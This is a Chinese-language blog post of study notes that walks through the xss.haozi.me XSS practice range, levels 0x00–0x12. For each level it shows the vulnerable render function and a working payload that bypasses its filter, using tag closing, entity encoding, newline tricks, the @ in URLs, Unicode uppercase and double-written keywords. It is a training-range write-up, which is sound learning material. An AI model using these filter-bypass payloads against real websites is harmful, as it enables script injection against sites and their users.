XSS靶场练习 https://xss.haozi.me

web安全学习笔记 专栏收录该内容
20 篇文章 1 订阅

 

https://xss.haozi.me

 

找到输入内容的输出点,确定是在html中还是js中。

 

0x00

function render (input) {

  return '<div>' + input + '</div>'

}

在标签内且无过滤。

<script>alert(1)</script>

 

 

0x01

function render (input) {

  return '<textarea>' + input + '</textarea>'

}

文本框标签中无法弹窗,所以闭合<textarea>标签。

</textarea><script>alert(1)</script>

 

 

0x02

function render (input) {

  return '<input type="name" value="' + input + '">'

}

插入的代码在input标签的value属性中,可以直接闭合input标签。

"><script>alert(1)</script>

 

 

0x03

function render (input) {

  const stripBracketsRe = /[()]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

过滤了圆括号。

模板字符串紧跟在函数名后面,该函数将被调用来处理这个模板字符串。

模板字符串使用反引号来代替普通字符串中的双引号和单引号。

<script>alert`1`</script>

 

 

0x04

function render (input) {

  const stripBracketsRe = /[()`]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

过滤了圆括号和反引号。

<svg>标签中可以直接执行HTML实体字符。或者<iframe>标签的srcdoc里面的内容可以直接在HTML中显示出来。

<svg><script>alert&#40;1&#41;</script>

<iframe srcdoc="<svg><script>alert&#40;1&#41;</script>">

 

0x05

function render (input) {

  input = input.replace(/-->/g, '😂')

  return '<!-- ' + input + ' -->'

}

将-->替换成表情,并且输入的内容在注释中输出。

HTML两种注释方法:<!--注释-->   <!--注释--!>   这里我们可以用对称感叹号的方法注释。

--!><script>alert(1)</script><!--

 

 

0x06

function render (input) {

  input = input.replace(/auto|on.*=|>/ig, '_')

  return `<input value=1 ${input} type="text">`

}

将以anto或者on开头,并且以等号结尾的标签属性替换成_ ,这里可以用换行。


onmousemove

=alert(1)

 

 

0x07

function render (input) {

  const stripTagsRe = /<\/?[^>]+>/gi



  input = input.replace(stripTagsRe, '')

  return `<article>${input}</article>`

}

将以<开头 >结尾,并且忽略大小写的字符替换成空。

可以利用浏览器的容错,去掉>。

<body onload="alert(1)"

 

 

0x08

function render (src) {

  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')

  return `

    <style>

      ${src}

    </style>

  `

}

将</style>替换成\u574F\u4EBA,利用换行绕过。

</style

><script>alert(1)</script>

 

 

0x09

function render (input) {

  let domainRe = /^https?:\/\/www\.segmentfault\.com/

  if (domainRe.test(input)) {

    return `<script src="${input}"></script>`

  }

  return 'Invalid URL'

}

要求以https://www.segmentfault.com开头的输入,否则失败。并且输入的url在script标签的src属性里面,还需要将这个标签闭合。

https://www.segmentfault.com"></script><script>alert(1)</script>//

 

 

 

0x0A

function render (input) {

  function escapeHtml(s) {

    return s.replace(/&/g, '&amp;')

            .replace(/'/g, '&#39;')

            .replace(/"/g, '&quot;')

            .replace(/</g, '&lt;')

            .replace(/>/g, '&gt;')

            .replace(/\//g, '&#x2f')

  }



  const domainRe = /^https?:\/\/www\.segmentfault\.com/

  if (domainRe.test(input)) {

    return `<script src="${escapeHtml(input)}"></script>`

  }

  return 'Invalid URL'

}

对很多符号进行了转义,例如& ' " < > /  都转义成了html实体编码,html实体编码在html标签的属性中可以直接进行解析。并且匹配了以https://www.segmentfault.com开头的url。当我们访问 https://www.baidu.com@www.sina.com 的时候我们实际访问的是 https://www.sina,com。 所以这里我们可以用指定的url开头,但是用@符号来执行自己的js,在这个js中有弹窗的代码。

https://www.segmentfault.com@xss.haozi.me/j.js

 

 

0x0B

function render (input) {

  input = input.toUpperCase()

  return `<h1>${input}</h1>`

}

输入的内容全部变成大写。在html标签和url中不区分大小写,但是js严格区分大小写。

所以我们可以在标签的属性内用https://xss.haozi.me/j.js 这里面的脚本来进行弹窗,或者是用alert(1)的时候进行编码,可以转成html编码。

<script src="https://xss.haozi.me/j.js"></script>

 

 

0x0C

function render (input) {

  input = input.replace(/script/ig, '')

  input = input.toUpperCase()

  return '<h1>' + input + '</h1>'

}

把script替换成空,输入全部大写。

这里我们可以不用script标签

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>

或者双写绕过。

<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>

 

 

0x0D

function render (input) {

  input = input.replace(/[</"']/g, '')

  return `

    <script>

          // alert('${input}')

    </script>

  `

}

将符号 < / " ' 替换成空,并且输入的内容是注释,这里可以用换行绕过。并且用html的注释符 --> 注释掉后面的单引号和圆括号。



alert(1)

-->

 

0x0E

function render (input) {

  input = input.replace(/<([a-zA-Z])/g, '<_$1')

  input = input.toUpperCase()

  return '<h1>' + input + '</h1>'

}

将 < 开头的不管后面是什么字母都通通加上一个_ ,所以所有的标签都不能用。

字符ſ大写后为S。

<ſcript src="https://xss.haozi.me/j.js"></script>

 

 

 

0x0F

function render (input) {

  function escapeHtml(s) {

    return s.replace(/&/g, '&amp;')

            .replace(/'/g, '&#39;')

            .replace(/"/g, '&quot;')

            .replace(/</g, '&lt;')

            .replace(/>/g, '&gt;')

            .replace(/\//g, '&#x2f;')

  }

  return `<img src onerror="console.error('${escapeHtml(input)}')">`

}

对字符 & ' " < > / 进行html编码,输入的内容在img标签中,所以编码没有影响。内容在console.error中,我们可以闭合console.error,并且在onerror属性中添加一个alert。

');alert('1

 

 

0x10

function render (input) {

  return `

<script>

  window.data = ${input}

</script>

  `

}

没有过滤,在script标签中直接执行。

alert(1)

 

 

 

0x11

// from alf.nu

function render (s) {

  function escapeJs (s) {

    return String(s)

            .replace(/\\/g, '\\\\')

            .replace(/'/g, '\\\'')

            .replace(/"/g, '\\"')

            .replace(/`/g, '\\`')

            .replace(/</g, '\\74')

            .replace(/>/g, '\\76')

            .replace(/\//g, '\\/')

            .replace(/\n/g, '\\n')

            .replace(/\r/g, '\\r')

            .replace(/\t/g, '\\t')

            .replace(/\f/g, '\\f')

            .replace(/\v/g, '\\v')

            // .replace(/\b/g, '\\b')

            .replace(/\0/g, '\\0')

  }

  s = escapeJs(s)

  return `

<script>

  var url = 'javascript:console.log("${s}")'

  var a = document.createElement('a')

  a.href = url

  document.body.appendChild(a)

  a.click()

</script>

`

}

过滤了很多的字符。并且将" 替换成   \"  ,但是并没有什么卵用,\正好可以当做是双引号里面的内容。输入的内容在javascript:console.log里面,我们将这个闭合以后添加一个alert然后把后面的注释掉。

");alert(1)//

 

 

 

0x12

// from alf.nu

function escape (s) {

  s = s.replace(/"/g, '\\"')

  return '<script>console.log("' + s + '");</script>'

}

将 " 替换成  \"  ,输入的内容在console.log里面,在html标签外面,所以不能进行html编码。

这里可以直接闭合掉script标签,重新添加一个

</script><script>alert(1)</script>

也可以将替换的  \"  的  \在前面再添加一个\转义掉。

\");alert(1);//

 

  • 1
    点赞
  • 0
    评论
  • 1
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 游动-白 设计师:白松林 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值